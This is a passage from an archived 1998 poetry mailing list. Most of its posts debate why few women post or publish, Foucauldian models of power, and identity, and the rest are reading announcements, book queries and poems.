And I think that part of why fewer women practice these arts is that women are not encouraged to do so--

Some thoughts--

Yours,
Katy

↑ Index

758. k. lederer
Re: esp Rachel, Models of Power
Tue 24 Mar 1998

I think that a lot of my ideas about gender (and other categories) stem from a pretty simple distinction that has to do with how I conceptualize power--(Rachel: perhaps this will answer to your theoretical concerns...).

This little schema comes from a wonderful book by Jana Sawiki entitled DISCIPLINING FOUCAULT--in many ways it got me out of that mode of thinking in which everything ceases to be "true" and thus to matter, and showed me how to use theory in a productive and real way.

For Sawiki, the traditional Marxist model of power runs as follows:

1. Power is possessed (for instance, by the individual in the state of nature, by a class, by the people).

2. Power flows from a centralized source from top to bottom (for instance, law, the economy, the state).

3. Power is primarily repressive in its exercise (a prohibition backed by sanctions).

Foucault's model runs as follows:

1. Power is exercised rather than posessed.

2. Power is not primarily repressive, but productive..

3. Power is analyzed as coming from the bottom up.

(Sawiki, 1991, pp 20-21)

I'm more of a proponent of the second model--a model in which pervasive discourses are productive rather than repressive--

In other words--women should speak! Everyone should speak!

Exercise your power (however you may define yourself)--

As in Rachel: if you don't define yourself as a woman, then how do you see yourself? As human?

What is human?

I mean, people can do whatever they want, but what is it that you want to do? Is it enough to "know the truth"? Is it enough to be able to "see through" the discourses that are already out there and operating?

Best,
Katy--

↑ Index

759. **R M Daley**
Re: Reply to Rachel re: women
Tue 24 Mar 1998

On Tue, 24 Mar 1998, k. lederer wrote:

> *Rachel--*
>
> *I AM getting real here--*
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> *We've talked about this before, but I don't always think it's a matter of details and refinement when it comes to gender--*
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> *People are real right now--living real lives.*
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> *When a woman feels like she has to giggle and say "I'm sorry" fifty times a day, this is NOT discourse--*
>
> *When I go to the bookstore and see five times more men being published than women, this is NOT discourse--*

katy, of course these things are discourse, they are the ways that we go about our days in discourse by a method or by millions of discourses - the ways you and i or josh or big 'intellectual' namers interact is all so very so very determined by discourse, and sometimes this is evil i totally agree- the evil part to me i've found in my real-life-discourse (and i resent the insinuation that i am

somehow different from someone having a real life ie a little girl or a girl who giggles whenever she talks...) the evil part is the fact that discourses become discourses in such a complicated convoluted inextricably indeterminable way that this gives people somehitng that allows them to say, hey, this is just how it is, we should go about things the way they've always been done and that's THAT - - or worse, it goes unrecognized -

i am totally not NOT denying that these examples you give are real, but i'm saying they are real, they are real discourse, or more specific, are seeming to be products of modes of discourse that are just as real as why i have to be delivering pizza - for tons of reasons or no reasons, but to me the thing to do is avoid those situations, recognize them, do my work

>
> These things are real--
>
> At best your responses were intellectually feasible--
>
> At worst they were smug--
>
smugly smugly smugly

> *Best,*
> *Katy*

rachel

↑ Index

760. **morpheal**
Re: Reply to Karen and Mairead--re: women on the list
Tue 24 Mar 1998

> *I see your points--but still think that women should get on the list(s)--and should submit.*

I think that the problem in that might be the word "submit". Submission is such a horrible concept. Obedience to a lord. Nasty idea.

None who enter into a dialogue with others ought to submit, but neither ought they to attempt to cause others to submit by means of conquest. It is, after all, an exchange of ideas and ought to be nurtured as such.

That ought, I think, to refer to men and women equally. Why should there be dominants and submissives in a kind of sadomasochistic brow beating ritual of whom shall we convert to a viewpoint today attitude. I hate the whole concept and fail to see what gender has to do with it. The list is after all, at its best, an

exchange of intellectual ideas between persons who should have some sense of equal respect for each other.

Why should anyone, man or woman, submit ?

They ought here to express their own ideas, and where there are differences of opinion, that need not lead to a personal battle where one must defeat the other, and the crowd cheer the one that is left standing, while despising the one that has been knocked down. That barbarity does occur in many places, but surely it is possible to get beyond that mentality ?

Of course if someone attempts to force someone else, by any means at their intellectual disposal to cause someone else to agree they need to be resisted, as such tyranny ought not to be acceptable. However, does it matter whether it is a man or a woman who is attempting to push it over on someone else, or to take absolute dictatorial control over the whole ? I do not see gender as having anything to do with that. Women that I have known can do it as well as can men. Even the Pentagon has realized that fact and women are being offered combat roles, having been found to have the same killer instincts as men have been found to have. That does not mean that everyone ought to start to do one another in, even intellectually. We can be a little more civil to one another in times of peace than we tend to be towards enemy aggressors, can we not ?

Labelling a whole gender "the enemy" and attacking anyone who happens to have certain physical characteristics that are different from one's own, is no different than attacking all blue eyed people, or perhaps all people who have olive coloured skin. It is simply the same as racism, an extreme of prejudice. Of course, we see it happen on both sides of any fence. Express prejudice towards all blue eyed people and soon all blue eyed people will gather together and express their hatred for brown and green eyed people. It is inevitable...

Morpheal

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761. **morpheal**
Re: costly clay
Tue 24 Mar 1998

> *Does loam contain clay? I thought clay was mineral-rich but I could be wrong. Also remember reading about a science study showing some kind of electromagnetic movement - sort of a shifting back & forth - in clay that the scientists thought was a sort of primitive pre-life form.*

Perhaps somewhat tangential.

The phrase "costly clay" is curious in that it implies the traditional cost of any ground being the human blood that was spilt in the taking of it. All ground was considered taken and held purely by cost of blood.

Adds an odd kind of nuance to any discussion of soils, Russian soils included.

Morpheal

↑ Index

762. **R M Daley**
Re: esp Rachel, Models of Power
Tue 24 Mar 1998

On Tue, 24 Mar 1998, k. lederer wrote:

> *I think that a lot of my ideas about gender (and other categories) stem from a pretty simple distinction that has to do with how I conceptualize power--(Rachel: perhaps this will answer to your theoretical concerns...).*
>
> *This little schema comes from a wonderful book by Jana Sawiki entitled DISCIPLINING FOUCAULT--in many ways it got me out of that mode of thinking in which everything ceases to be "true" and thus to matter, and showed me how to use theory in a productive and real way.*
>
> *For Sawiki, the traditional Marxist model of power runs as follows:*
>
> *1. Power is possessed (for instance, by the individual in the state of nature, by a class, by the people).*
>
> *2. Power flows from a centralized source from top to bottom (for instance, law, the economy, the state).*
>
> *3. Power is primarily repressive in its exercise (a prohibition backed by sanctions).*
>
> *Foucault's model runs as follows:*
>
> *1. Power is exercised rather than posessed.*
>
> *2. Power is not primarily repressive, but productive..*
>
> *3. Power is analyzed as coming from the bottom up.*
>
> *(Sawiki, 1991, pp 20-21)*

> *I'm more of a proponent of the second model--a model in which pervasive discourses are productive rather than repressive--*
>
> *In other words--women should speak! Everyone should speak!*
>
> *Exercise your power (however you may define yourself)--*
>
> *As in Rachel: if you don't define yourself as a woman, then how do you see yourself? As human?*

no i don't go for all that hippy granola shit- but this point/question above is exactly my problem with identity politics of power

katy, you are dictating to me to define my identity - i don't see myself any particular way at all times, more like a particular way at any particular time - you know that cheesy bumper sticker, keep your laws of my body - - well thats as close as i can come -

you're not seriously dictating to me or anyone else other than yourself how i sholud go about my day, spend my time and energy, how i should define myself - and see i don't ever want to be told to claim knowledge wisdom voice insoght beauty squalor sentiment emotion for anyone , not myself or anyone , and sure as hell not for some idea of community, of "women" or i like this better, "woman," which never exists and would rather not have

rather not have anything i claim to write be declared part of a woman's perspective, as this is cordoning it off, saying well this is just woman's writing or gee this is woman's writingor oh isnt this keen it's woman's writing, i never new - this kind of response to writing or, as you seem to suggest, to one' real life, is like saying, oh that is what comes of not having a dick, that is that other things, the other species , or at best, containing it in order to excuse it or explain it away - just don't want this please

and finally the idea of "woman's" perspective, one i have to take on and make my own cause i don't have a dick, seems to have to be starting with, hey i'm the forgetten, the lost, the negelcted, i'm marginalized to begin with so listen to me- i'm needed for always already (!!!???!!!) having been lost

so i'd just rather not be called lost before having a chance to get lost myself

>
> What is human?
>
how the hell would i know - i thought titanic was really fuckin stupid and wanted leonardo to die already and hated i mean HATED the jewelry

rd

>

↑ Index

763. **Keston Sutherland**
Re: esp Rachel, Models of Power
Tue 24 Mar 1998

---

wouldn't Foucault say that, whilst productive rather than repressive (strictly speaking), power can nonetheless be used to produce repressive conditions? And that in fact it regularly is? Why does this lead to

> *In other words--women should speak! Everyone should speak!*

? Of course they should. There's a gehenna of links I'm missing

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764. **Keston Sutherland**
Re: esp Rachel, Models of Power
Tue 24 Mar 1998

> *so i'd just rather not be called lost before having a chance to get lost myself*

this is --dead right--, I reckon.

Please continue, Rachel and Katy, this is a stimulating exchange

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765. **henry gould**
submission
Tue 24 Mar 1998

Seems like the general experience in trying to get published is, you "submit to rejection". sort of a double whammy. unless you get lucky (or connected) & "submit to acceptance".

"send your submissions, with entry fee, to..."

maybe they should be called emissions.

"your ms. emission has been felt. thank you but we are unable to absorb it at this time. now go clean yourself up."

not much of an improvement.

how about arrows? "Your arrows have hit the market. thank you. we will get back to you soon - hopefully by November 2026."

- Henry Gould

↑ Index

766. **k. lederer**
Re: Reply to Rachel re: women
Tue 24 Mar 1998

Hmmm--

To return to the orginal point of debate--

Okay--so there is no distinction between the real and discourse in your view--I can go with that.

When you say, though, that you feel the best strategy for you is to avoid situations in which the "discourse" is fucked up in a way that is anathema to your needs and desires (your discourses) and is to "just do your work," aren't you evading the larger issue at hand in this discussion?

Namely: why aren't there more women on this list?

I glean from your last post that perhaps women don't participate in this space because they feel it doesn't jibe with their preferred "discourse"--that it's inimical to the work they want to accomplish (this was echoed by Karen and Mairead also, I believe)--

So--okay--maybe you don't want to participate in forums that seem competitive or male-dominated--

I guess I feel like this is a cop-out. There is nothing inherently male (there is nothing inherently discursively masculine) about an electronic list--

There is nothing inherently "masculinist" (or competitive, or inimical to getting your work done, whether you are a woman or a man) about poetry--

About banks--

About poker tables--

About poetry MFA programs--

About any space whatsoever--

If women (or any other dissatisfied group or individual or family or generation or whatever) just decide to withdraw from participation--even if they decide to start there own forums (women's groups, magazines, lists...) then where does that leave the new generation of women? Of poets? Of human beings?

It's like--here at the Workshop a lot of people complain about the parties, about the networking and schmoozing--

But I mean jeez, if all of the people who complained actually participated, then the parties and other events would be a lot different--

You know?

Anyway--back to the original point--

I still wish more women would participate on this list. I think it would change the discourse here in an interesting way--

I still wish more women would publish--

I like to read work by women--

I like to read work by lots of people--not just the ones who are ambitious enough, or whatever enough to submit to magazines "naturally"--

Best,
Katy

↑ Index

767. Aldon Nielsen
L.A. reading by Michael Davidson and David Bromige
Tue 24 Mar 1998

An early alert for Los Angelenos and out-of-towners headed for Houston who may want to fly on to Southern California --

Thursday April 23 -- 7:30 PM Loyola Marymount University Poetry reading by David Bromige and Michael Davidson

Friday April 24 -- NOON Loyola Marymount University
Michael Davidson and David Bromige discuss their poetry

both events free & public

annoying reminders accompanied by further details in future weeks

TELL EVERYBODY

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768. Maria Damon
Re: women in poetry and in the arts
Tue 24 Mar 1998

---

interesting that poker shd poke its head up... in my dept there was a longrunning poker game to which only (the right) men in the dept were invited, which was where all the real decisions were made...i think the game may still be going on, but without the power it once had in dept politics...a paradigm breaking moment came when a young chaucerian (who has since left) whom none of the guys realized was mildly progressive and definitely-not-them, turned down the almighty invitation to join The Game...the department was never the same.

At 11:35 AM -0600 3/24/98, k. lederer wrote:
>And poker....
>
>Hi Summi--
>
>All of this has made me think a lot about my views--to reconsider them--
>
>My sister is a professional poker player, and I think this has a lot to do
>with my views--(along with my experiences as a student at a rather sexist
>boarding school, as a college student at a rather liberal college
>(Berkeley), as a poet who has worked in a number of environments--).
>
>My sister is considered to be the best female poker player in the world.
>She is 32 and has two wonderful babies.
>
>She got into poker because she needed to make some money (she dropped out
>of a PhD program in order to marry her husband...)--
>
>Her story is super interesting, but suffice it to say that I have watched
>her play poker a lot--
>
>I have watched the way in which men react to her--
>
>I myself have experienced the incredible sexism of poker first-hand--
>
>Men don't like it when women play poker--
>
>Men don't like to lose to women--
>
>I have been personally cussed out on numerous occassion for simply being
>a woman and having the audacity to play at the very public and open
>(like this list) tables in Vegas--
>
>To my mind poker is much like the other industries you bring up--
>
>Like film, philosophy, and other traditionally male pursuits, one rarely
>rarely hears about women--
>
>I don't think this is because of lack of exposure--I think it's because
>fewer women practice these arts--
>
>And I think that part of why fewer women practice these arts is that

>women are not encouraged to do so--
>
>Some thoughts--
>
>Yours,
>Katy

↑ Index

769. **Keston Sutherland**
verisimilitudes and usefulnesses
Tue 24 Mar 1998

---

re: recent Qs re: participation rate on -this- list specifically - I hardly ever mail anything other than poems to this list, I don't have the requisite genre of energy, this makes me one of those for whom its climate is in some sense forbidding, (1) does this matter (2) does it matter less with regard to me because I am male (3) because I am not hindered by anxiety exactly (4) because I do not feel that other list members extinguish my urges (5) I think these -are- Qs worth sifting through with an open mind i.e. without the preposed conclusion that those who don't OUGHT TO, or that they ought to HERE - other lists I'm on are different, there are list characters

If they -ought to-, the character of their participation is different and, in terms of the relative autonomy of their motive for participating, is -inferior- to that of those males for whom ought is an irrelevance

If it matters less with regard to me because I am male, this is by dubious virtue of my 'type' of contributor being already well represented

I don't feel supernumerary in this assembly, nor do I feel part of a majority; there is a savoury naivete in this remark, of course, and Katy's right to encourage talks, thought I'd post a 2 bit, k

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770. **Christopher W. Alexander**
Re: Reply och trembling viacom
Tue 24 Mar 1998

RM DALEY - ach, I dunno what

so, part of what yr reacting against seems
a sort of smugness or mebbe decidedness
in women SHOULD, as if it were evident
or why should they, exactly?

which addresses, on it's flip-side (backside?)
the sort of worrysome, patronizing aspect of
publishers pushing for a ~ 50/50 gender split
- instead of, say, publishing what is important
to them or to poetry or etc. As if it were so
clearly the issue, that women lack venue and
need it charitably given them...

compare Lily James:
"On the Postfeminist Playground, Susannah Breslin
and I have created a space for our fiction writing
where no space existed [....] We wrote essays about
Postfeminism instead of waiting for a critic to dis-
cover us. We created our own focus, decided on our
own path, and began delivering the goods to our readers."
<http://www.pfplayground.com/greattaste/latest.htm>

which is not separatism, but "get over it"...

(btw, how's this for a book title: Lily James'
The Great Taste of Straight People. it's on
FC2/Black Ice:

"Both children were stern and brushed down.
They wore conservative clothes. They were bad
looking. Dianna stepped to them.")

on the other hand, I do look @ a table of contents
or a list of publ. books suspiciously if there don't
seem too many women on it. and I do worry abt.
gender issues in relation to my own press.

mebbe that's me just
beeeen my old bourgeois self. gender still matters
because we make it matter.

hey, you should answer my email more
often, you know.

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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771. Gwyn McVay
women who do write
Tue 24 Mar 1998

forgive the slightly-off-topic-ness, but among the women who do write, I'm glad Mei-mei Berssenbrugge does write--have finally gotten round to her EMPATHY and SPHERICITY, two recent Bridge St. purchases, & read around in each, even while "submitting" my alleged master's thesis to the tender mercies of the Ruler Lady who Measures Margins (Graham Foust will remember her), & her extended ice-floe sequence haunts one something like Notley & creates space something like Lauterbach, while being of course very much Berssenbrugge's own--does that make any sense?

the sometimes doubtful McVay

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772. CharSSmith
Sound States
Tue 24 Mar 1998

has anyone read or know anything about this book?

--Charles Smith

Sound States: Innovative Poetics and Acoustical Technologies
by Adalaide Kirby Morris, ed., University of North Carolina Press (1998)
ISBN-0807846708 360 pages, $24.95.
"At least since the late 1920s some writers have been trying to free writing from the
book, from the restrictions of print. This collection of essays explores the aural aspect
of poetics, especially focusing on the technologies of sound and the possibilities they
provide and provoke. Subjects range from Caribbean dub poetry to the experiments
of John Cage and Cecil Taylor. Here's a book to add to that small but vital shelf that
illuminates this essential ground--it's a good introduction to the issues and sends you
off to the best source material. "

↑ Index

773. **David Zauhar**
Re: Sound States
Tue 24 Mar 1998

On Tue, 24 Mar 1998, CharSSmith wrote:

> *has anyone read or know anything about this book?*
>
> *--Charles Smith*
>
> *Sound States: Innovative Poetics and Acoustical Technologies*
> *by Adalaide Kirby Morris, ed., University of North Carolina Press (1998)*
> *ISBN-0807846708 360 pages, $24.95.*

Haven't read much of it, but I've listened to the CD, which I'm surprised goes unmentioned by the blurb you quote below: It's a great mix (the disc, that is) w/ recordings ranging from HD reading a bit of _Helen in Egypt_, to Marinetti raving about "Bombardamento di Andrianopoli," as well as soundpoems by Ball, Hausmann, and Kruchenykh, not to mention recordings of Lee "Scratch" Perry and Rahsaan Roland Kirk. I've read the essays by Adelaide Morris ("H.D. on the Air"), Steve McCaffery's great "The emergence of the Audio Poem"), and I've started Jed Rasula's lengthy essay on "voice" entitled "Poetry's Voice-Over," but a headache got the better of me. So I'm not lamenting having spent the $25, which seems high, if you don't take into account the accompanying CD.

David Zauhar
University of Illinois at Chicago

So often nothing happens
and then when something does
noone notices.

--Alan Davies

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774. **Keston Sutherland**
add-on disappointment (fwd)
Tue 24 Mar 1998

---

re: oughts/shoulds

---------- Forwarded message ----------
Date: Sat, 7 Feb 1998 20:54:37 -0500 (EST)
From: Keston Sutherland <[redacted]>
To: [redacted]
Subject: add-on disappointment

to repeat myself:

(1) I suppose what I'm groping after here, is that the quality of disappointment arising from a preparation to be disappointed is different from that arising 'naturally', though perhaps only (and this, I hope, rather clinches the imperative) in -degree-. 'Natural' disappointment has the flavour of Nietzsche's criticism of the Romantics, that naivety is basically a paradox, and is negative; because not prepared for adequately (or, perhaps, honestly), its issuing sense of reappointment is of inferior urgency.

Been pondering, with somewhat emaciated attention (Boss Hogg were a bit disappointing), whether it's strictly accurate to say that the difference between 'prepared' and 'natural' disappointment is in -degree-; might it not also be the case, that the former affection is more properly -spontaneous-? That's to say, more voluntary, and therefore more assertive of one's -own- disrespect, as distinguished from (though not quite opposed to) simple disrespect? That distinction is a tenuous one, but smacks of at least a trifling validity - that prepared re-appointment is more impressively reflexive than re-appointment arising from unanticipated dissatisfaction, i.e. its effects are not stimulated (and directed) by the substance of the book/film/song/poem alone, but also by one's own immediately relevant understanding of the imperatives arising from dissatisfaction.

This seems, perhaps, a bit counter-intuitive; if our intuition would have us pleased by what we spend time over, why should we minimise our chance of being so? Isn't this a mere prejudice, inflated and inspecific? Furthermore, wouldn't it effect in both reader and text a kind of repression of generosity - a pre-emptive stultification of possible, helpful results of reading, diminishing the ability of the text to 'mature' in reading and, at the same time and as the aetiological motive of that diminution, making the reader -lethargic-? Persistence has been greatly extolled, over the past couple of decades and in certain areas of the poesy earth, as the necessary state of a successful reading attitude; many current writings would be almost untouchable if we were not persistent with them - if we did not arrest, or at least consciously defer our initial disappointment.

Firstly, whilst a preparation to disappointment is likely to stimulate what it prepares, and our chance of being pleased is in that sense minimised, it's only through this preparedness that 'our chance' and 'being pleased' can be seen clearly; that their stratification in value and into values (political values being one set) can be perceived and examined; that, to take account of the poem simultaneously, culturally and artificially installed mechanisms of 'efficacy' in the object regarded can be distinguished from the effects they (seek to) produce: infectious, -reflex- acceptance (a granting of permission) can be exorcised from pleasure.

The prejudice is certainly inspecific in outset. In fact, it -must- be so: to keep unpreparedness in reserve, to read one's favourite authors without the same negative anticipation, is to exercise a tacit and un-self-reproved tendency to grind to a halt (to settle down with what one has, whether this is for comfort or its opposite). This bears, I feel, upon the issue of addressing discrepencies in the reception of women's poetry compared to that of men's: it's poisoning the root of the aspiration for equality and for redress, which is an aspiration I share, to allow a preparation to disappointment to be appalled by its circumstantial dependency on a politic hopefulness. Women's poetry deserves and demands exactly the same rigour, exactly the same distinction of its pleasures from its 'cultural' efficacy, as does men's. I wholeheartedly approve of positive efforts in publishing, buying books, organizing readings and urging reviews. There are many women's poetries that disable the fruition of a prepared disappointment, and in doing so, succeed without affectionate, implicit patronage.

Regarding the repression of possible reading-results - that a text becomes -less- if treated in this manner, I can only assent. And this, too, seems quite equitable. There are different powers of achievement in poetry, and to some extent this difference is the product of situation and other, apposite external factors; but those achievements (felicities, as it might have put a while ago, or -qualities of significance-) can be sorted, over time and within the experience of an individual reader, into two types (or rather, identified as two types): those which are contingent upon a neutral (or eager) receptivity for their effectiveness, and those which are effective either because of or despite having no such contingency - those which are capable of converting the latency of a prepared disappointment into its own total incapacity. Such a description is more than a little bloated, but seems approximately relevant to me, right now. And, importantly, wouldn't be made without prepared disappointment, the description itself being an analysis that occurs -in rapid reappointment-. Those qualities which -do- convert latency to incapacity, are genuinely exalted (they make me happy), the more so, or, in fact -at all- for having been categorically distinguished from other effects and in that way exposed as rarities. Disappointment re-enables rarity, replaces dormant rarity.

Lethargy is a disarming charge, or at least, might be disarming if left unexamined. I think it's crucial to see the difference between lethargy and refusal - that the former is a phatic and partly instinctive behaviour, characterized by a later, incurred regret; refusal, on the other hand, whilst momentarily similar, branches off from lethargy in its repercussion, and is then known to have been radically different from it. Refusal is an access to a politics of identity; lethargy is a partially accidental eschewal of access. It is not lethargic to approach poetry with a prepared dissappointment. Rather, it is either one or two refusals: firstly, the refusal of a default 'enthusiasm' (with which word, Peter's Puritans

are recalled), which is an entailed benefit; secondly, the potential refusal to -linger-. By this I mean, that whereas a reader who is not prepared to be disappointed, finds her or himself lingering over their disappointment after reading a poem (questioning why they had not anticipated their reaction, what had made them react in such a way, why had they spent the 10.99/20 mins. etc), a 'prepared' reader is able instantly to become reappointed, to reassert her or himself, to recognise the causes of his or her reaction without that recognition being entirely -symptomatic- of (bought, paid for) literary unsuccess.

This rapid reappointment, I would argue, -is- persistence; it does not allow the relaxing rhythms of hopefulness and symptomatic dismay, it will allow a reader to read more in less time, and, I believe to feel more specifically and with less 'apolitical' delusion the true magnificence of rarity.

Fuck 'postmodern' pastiche.

Again, much more needed,

K

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775. **Miekal And**

Re: women hyperpoets

Tue 24 Mar 1998

William Marsh wrote:
>
> taking advantage of this recent thread, could listees please help with the
> following
>
> women poets currently working in the "new media" vein, particularly
> web-based word arts (visual, kinetic/animated, e- poetry)?
>
> names? URLs?

maria damon & I are putting together a multi-site hypertext called Literature Nation, enterable thru many different web nodes within the next couple months...

10 digit lifepod

↑ Index

776. Christopher Reiner
SF Reading
Tue 24 Mar 1998

If you're in the area...

Cydney Chadwick and Elizabeth Treadwell
reading their prose and poetry,
Friday April 3rd, 7:30 p.m.
Caffe Sapore, 790 Lombard St. (at Taylor).
(One block west of Columbus, near
the San Francisco Art Institute).
[redacted].

FREE.

Elizabeth Treadwell is the editor of the literary magazine Outlet and proprietress of Double Lucy Books. Her novel _Eleanor Ramsey: the Queen of Cups_ was published last year, as was a chapbook, Eve Doe (becoming an epic poem). _Populace_, a collection of her prose and poetry, is due out this year from Avec Books. She is currently working on a collection of stories. Her new work is due out in Tinfish 6, The Artful Mind, Errant Bodies, Tripwire: A Poetics Journal, Fabula and non.

Cydney Chadwick has been the director of AVEC publications since 1988. She is the author of seven books and chapbooksQthe most recent of which is _Inside the Hours_. Her work has appeared in five American anthologies--the latter two from Sun & Moon Press. Her prose has been translated into Portuguese for a Brazilian anthology of experimental American fiction, titled _Without Explanation_, which is forthcoming out of Sao Paolo. Several of her stories are being translated into Russian for the publication Poetry Olympics.

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777. Don Wellman
Re: women
Tue 24 Mar 1998

In words like these:

"i am totally not NOT denying that these examples you give are real, but

i'm saying they are real, they are real discourse, or more specific, are

seeming to be products of modes of discourse that are just as real as why i have to be delivering pizza - for tons of reasons or no reasons, but to me the thing to do is avoid those situations, recognize them, do my work"

Rachel is responding to katy about her experience of gender and seems to inist that an ungendered space that is the real space of her life be acknowldged. To me it seemed that Rachel's first post invoked sexuality, more so than it did gender. There she wrote:

"what exactly do YOU want from a woman, what can she provide you, what viewpoint does she inherently possess that will breach all those communication barriers and give you hmm and honest? woman's point of view? or is it that women present an honest human being's point of view? or not honest, maybe fresh? inspired? vaginal? what could this be?"

...seems to be a "real" here that is opposed to the reality of discourse, a desire to "breach communications barriers" -- not a denial of communications barriers and their censoring effects or the need to overcome them. But it also seemed to me that Rachel's post puts sexuality into play as human and some how distinct from discourse.

The question that this raised for me is what happens to those who embrace(know/like/dislike) the human, the "hmm and honest"??? Are those who know such most often female? Do any who know/experience such write poety? Can this point of view be defined in terms that are poetic and sexual but not gendered?

Don Wellman

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778. Henry Gould
scuba diving
Tue 24 Mar 1998

It is good to read MOBY DICK, not commentaries. Leer, if you will.

Black holes swallow the crippled sky-Hawking; yet he fingers his remote.

Bible leaves! White forehead. Flag of Ahab; crushed skyhawk; drowned Gay Header (Tashtego).

Peter Paul and Pole.

Dying stars = neutrons. Perfect spheres of iron. Harpoons.

Forehead overwrit = hieroglyph. Vengeance is mine. I will repay.

Mere mer amer. Notre Dame.

Bloodrose.

- P.C. (politically-correct) (avenging eunuch = AHAB) (snow...)

-Ye W/Hale

I alone am write it down down.

↑ Index

779. Mairead Byrne

Re: Reply to Rachel re: women

Tue 24 Mar 1998

About Mairead: I thought the name might be sufficiently occult to pass. About submission: How about: I wish to release these poems... disclose these poems ... reveal / expose / flaunt or otherwise blatantly thrust forward these poems. But non serviam!! Mairead

↑ Index

780. Marcella Durand

womanly

Tue 24 Mar 1998

Although it's easy for women to feel invisible (I know!) just keep opening up opening up opening up. Talking talking talking. Also, there _are_ women lurking and posting: count them. Women need to send out more (this directive is also directed towards myself), be less perfectionistic, discount the opinions of others more, also need to curate more readings, start literary magazines, contribute to critical writing (a particularly difficult point--how to be critical when you are very often criticized???) I am interested in perception. Am I actually "pushed" out more, or am I, socialized as woman, more sensitive to regular ongoing criticism, dog-eat-dogism??? Are my words, when said, as weighty? Do I accept my own words?

Katy, thanks for opening up these cans of worms--need to be opened--worms are good! Make soil! Grow plants!

↑ Index

781. Scott Pound
Re: Open Letter Launch in NYC
Tue 24 Mar 1998

> *Can this issue by obtained by mail?*
> *tom bell*

Since I happen to have the issue right beside me, here is the address:

OPEN LETTER
499 Dufferin Ave.
London, ON N6B 2A1
CANADA

Single issues are $7Cdn. ($9 international)

↑ Index

782. Karen Kelley
Models of Power
Tue 24 Mar 1998

R M Daley wrote:

>exactly my problem with identity politics of power
> i don't see myself any particular way at all times, more like a particular way at any
> particular time -
though I am conscious of being perceived as a woman ALWAYS. I have been an art student, a mother, a teacher, a bookstore clerk, a poet, a sister, a wife, a stripper, an executive, a web designer, an analysand, a divorcee, a sister, a mistress, caregiver to a terminally ill brother, a bodybuilder, half of an interracial relationship. In each and every one of these situations, I have also been reminded each and every moment that I am a woman. I have NEVER met a man--or a woman--who doesn't assess a woman's body on first meeting. It is cultural, it's what we've been taught to look at, and I don't particularly mind it. In fact, I go to the gym to make my body look the way I want. I check out men. The bigger the better. I loko at the other women. I am a feminist. I like pornography. I understand I am politically incorrect on some of these issues by some standards, that I am immoral by other standards, and that I am illogical by any standard.

I am not interested in pinning things down; I've tried to define myself, been defined, both as an individual and as part of a larger collective, be it white,

female, college-educated, literate, artistic, blah blah blah. The thing is: none of the definitions are particularly interesting or particularly apt.

I'm not interested in assuming power: power is less interesting than submission. Sometimes.

I don't want to crystallize my thoughts; I don't want to say what's true.

I write what I want, so God forbid it be the same all the time, or
logical, or correct, or sensible, or legible, or female.
>
> so i'd just rather not be called lost before having a chance to get lost
> myself

That last line's the best.

And none of this refers to YOU, particular man reading this post. I am talking to the IDEA of men. And it isn't me talking, it's your idea of a woman.

(Serious p.s.: I really didn't mean you, Miekal. And I'm sorry if it made you upset.)

↑ Index

783. Wendy Kramer
indoor plumbing
Tue 24 Mar 1998

A pub privy too, "i never new"

me i been all backchannel since i got my "service" a couple weeks ago. and have been lurking since i got on listserv about same time then again lurking is also Watching i LOVE to watch hEAR heh heh theres productive power innit... heh heh "i got/ a rat-proof/ crib!" (a jonathan williams quote of a found pome) and how do it all hang?!? in there.

but down to biz. anybody member the dorothy richardson pooltable scene? miriam the protagonist plays pool with the men, with the other women looking on... poker that other gaming table made me think of it, and mention of pissing higher, cuz funnily i was just writing a private letter about richardson's stream "pissonit"-- of consciousness, and about consciousness not being a stream... (i'd longhanded --is that what letter writing is?)-- (piss higher honey) isnt (i wage her) a stream. epistolary lives!

anyway. mr. marsh- i submit my name wendy kramer for your hyper poets. i dont have a home url but you can go to the epc and sea... like 'merican singles it was made with real cheese.

enuf of this game. 500 hundred peeple? (anybody read alfred bester?)
yup, intimidating.
outta practice butt hadda say

hey,

wendy

↑ Index

784. Billy Little
what do man want?
Tue 24 Mar 1998

Crystal Balls, Or The Idea of Practice Makes Practice Perfect
(for "you know who"<or David McFadden> both)

indulging my weakness for prophecy
can see, for example,
there'll come a time when i disappoint you,
this is simple to see
more mere memory,
hasn't everyone disappointed you?
Speaking personally
i've disappointed everyone I could,
and everyone has disappointed me if they could,
so i thought if i disappointed you
right away, we could have that over with
and get right down to the funny business
get down to the refusal of eternity

get down to the calm determined practice

the frenzied practice?

the spontaneous regenerating practice
the heartwarming practice
the cold blooded practice

the practice of the ha ha
harmonious melodious ha has

the syncopated practice

simulated
interrupted
disappointing practice

the perpetual amateur and sentimental
practice of love, amateur love

unpracticed unrehearsed practice
poor paid highly ha ha practice
practice of now, pre-petroleum practice

the acknowledged stickum of the planet mama
the resonating rechargeable practice mama
piano practice fortissimo allegro practice
confluent incongruous boogie woogie practice

the inconsolable and consuming practice
the here again gone again practice

practice giraffe practice gingko tree
practice guffaws, practice spelling bee

practice sister practice brother
practice telepathy
                hell reincarnation
play Possession Mama
spirit of the self gotten mama practice

mammal practice, four legged practice
sabre toothed practice
sewing practice teeth, rolling practice eyes
hair trigger rapid fire practice finger
jackhammer jalopy practice zippers and snaps

salmon sucking practice

thorough methodical practice

divine practice, imperfectable practice,
pre-season practice

post funny practice, intolerable, longwinded practice

just -can't-quit-this practice
until we're memorized
predictable or prophesied.

st. ink
forbidden plateau fallen body dojo
4 song st.
nowhere, british columbia
canada V0R 1Z0

↑ Index

785. **Shemurph**
Tom Mandel's e-ddress
Wed 25 Mar 1998

Tom, if you're out there, would you refresh me on your e-mail address?

I need to backchannel you!

Thanks.

Sheila
[redacted]

↑ Index

786. **Rebecca Weldon Sithiwong**
women on the list
Wed 25 Mar 1998

It seems to me that the list is subject oriented, producing participation in several conversations. These conversations interest, mystify or bore, the measure of which is participation. The exception would be intimidation; do any women on this list feel intimidated?

I would be interested to hear what women think about the poetics of their own work. I'd also like to hear what men think about what these women express. But can we avoid a very boring rehash of male "I'm a feminist, too" stuff?

Rebecca

↑ Index

787. **Stephen Cope**
Fwd:MEXPERIMENTAL
Wed 25 Mar 1998

Film buffs in the San Diego, LA, and SF Bay Areas may be interested in this...

Stephen

> *From: Ritagonzal <[redacted]>*
> *Date: Mon, 23 Mar 1998 13:15:39 EST*
> *To: [redacted]*
> *Mime-Version: 1.0*
> *Subject: MEXPERIMENTAL*
>
> *Stephen.*
> *Please forward to grads and all of your interested groups. Thanks.*
> *r*

NEWS RELEASE

DATE March 16, 1998
